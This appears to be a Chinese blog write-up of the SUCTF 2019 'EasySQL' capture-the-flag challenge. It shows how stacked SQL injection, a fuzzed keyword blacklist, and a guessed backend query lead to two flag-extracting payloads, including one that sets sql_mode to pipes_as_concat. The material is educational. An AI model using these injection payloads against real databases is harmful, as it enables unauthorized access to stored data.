suctf2019-EasySQL
suctf2019的一道sql注入
buuoj上的环境:https://buuoj.cn/challenges#[SUCTF%202019]EasySQL
题目说
Give me your flag, I will tell you if the flag is right.
可以发现一些东西:
- 输入除0外任何数字,返回Array ( [0] => 1 ) ,0返回空
- 输入中带有字母,返回空
- 存在堆叠注入返回
1
query=1;show tables;
可以看到当前库只有一个Flag表1
Array ( [0] => 1 ) Array ( [0] => Flag )
1 | query=1;select * from Flag; |
返回Nonono.
可以想到是一些关键字被过滤了
fuzz可以发现过滤的关键字
1 | prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\" |
from被过滤了,所以不能用之前强网杯预处理的方法(https://liotree.github.io/2019/08/13/%E9%9A%8F%E4%BE%BF%E6%B3%A8/)
这时候可以通过前面的输入输出
- 输入除0外任何数字,返回Array ( [0] => 1 ) ,0返回空
- 输入中带有字母,返回空
去猜想后端的sql语句拿flag有两个方法1
select $query||flag from Flag;
- 直接构造
1
select *,1||flag from Flag;
- mysql存在一个sql_mode,将其设为PIPE_AS_CONCAT可以将||的作用变为拼接字符串,详细可以参见https://www.cnblogs.com/mke2fs/p/11405531.html
1
query=1;set sql_mode=pipes_as_concat;select 1